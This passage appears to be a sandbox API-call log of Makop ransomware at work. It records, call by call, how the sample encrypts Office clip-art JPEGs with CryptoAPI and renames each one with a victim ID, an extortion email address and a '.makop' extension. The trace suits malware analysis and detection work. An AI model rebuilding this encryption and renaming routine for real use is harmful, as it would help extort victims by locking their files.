lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.514] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3260, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3260, lpOverlapped=0x0) returned 1 [0136.514] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.514] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.514] SetEndOfFile (hFile=0xf0) returned 1 [0136.521] GetProcessHeap () returned 0x48a0000 [0136.521] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.521] GetProcessHeap () returned 0x48a0000 [0136.521] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.522] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.522] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.523] CloseHandle (hObject=0xf0) returned 1 [0136.523] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341328.JPG", cAlternateFileName="")) returned 1 [0136.523] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG") returned 63 [0136.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.526] GetProcessHeap () returned 0x48a0000 [0136.526] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.526] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.526] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.526] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0136.530] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.530] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.531] GetProcessHeap () returned 0x48a0000 [0136.531] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.531] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.531] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.531] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.531] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.531] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.532] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.532] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.532] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.532] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.532] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.532] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.532] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x27d4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x27d4, lpOverlapped=0x0) returned 1 [0136.534] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x27e0, dwBufLen=0x27e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x27e0) returned 1 [0136.534] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.534] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x27e0, lpOverlapped=0x0) returned 1 [0136.534] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.534] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x28b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.534] SetEndOfFile (hFile=0xf0) returned 1 [0136.541] GetProcessHeap () returned 0x48a0000 [0136.541] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.541] GetProcessHeap () returned 0x48a0000 [0136.541] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.541] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.541] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.543] CloseHandle (hObject=0xf0) returned 1 [0136.543] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341344.JPG", cAlternateFileName="")) returned 1 [0136.638] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG") returned 63 [0136.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.708] GetProcessHeap () returned 0x48a0000 [0136.708] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.708] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.708] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.708] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0136.730] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.730] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.730] GetProcessHeap () returned 0x48a0000 [0136.730] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.730] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.730] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.730] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.730] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.730] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.730] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.731] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.731] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.731] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.731] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.731] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.732] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2cdd, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2cdd, lpOverlapped=0x0) returned 1 [0136.733] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2ce0, dwBufLen=0x2ce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2ce0) returned 1 [0136.733] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.733] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2ce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2ce0, lpOverlapped=0x0) returned 1 [0136.734] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.734] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.734] SetEndOfFile (hFile=0xf0) returned 1 [0136.740] GetProcessHeap () returned 0x48a0000 [0136.740] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.740] GetProcessHeap () returned 0x48a0000 [0136.740] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.741] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.741] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.743] CloseHandle (hObject=0xf0) returned 1 [0136.743] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341439.JPG", cAlternateFileName="")) returned 1 [0136.743] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG") returned 63 [0136.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.744] GetProcessHeap () returned 0x48a0000 [0136.745] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.745] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.745] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.745] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0136.749] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.749] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.750] GetProcessHeap () returned 0x48a0000 [0136.750] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.750] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.750] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.750] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.750] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.750] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.750] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.750] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.751] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.751] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.751] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.751] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.751] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4c6d, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4c6d, lpOverlapped=0x0) returned 1 [0136.753] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4c70, dwBufLen=0x4c70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4c70) returned 1 [0136.753] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.753] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4c70, lpOverlapped=0x0) returned 1 [0136.753] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.754] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4d44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.754] SetEndOfFile (hFile=0xf0) returned 1 [0136.760] GetProcessHeap () returned 0x48a0000 [0136.761] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0136.761] GetProcessHeap () returned 0x48a0000 [0136.761] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0136.761] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0136.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0136.763] CloseHandle (hObject=0xf0) returned 1 [0136.763] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341447.JPG", cAlternateFileName="")) returned 1 [0136.763] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG") returned 63 [0136.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0136.764] GetProcessHeap () returned 0x48a0000 [0136.764] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0136.764] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0136.764] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0136.765] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.769] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.769] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.769] GetProcessHeap () returned 0x48a0000 [0136.769] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0136.769] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0136.770] CryptDestroyKey (hKey=0x48c7128) returned 1 [0136.770] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0136.770] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0136.770] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0136.770] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0136.770] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0136.770] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0136.771] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0136.771] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0136.771] SetFilePointerEx (in: 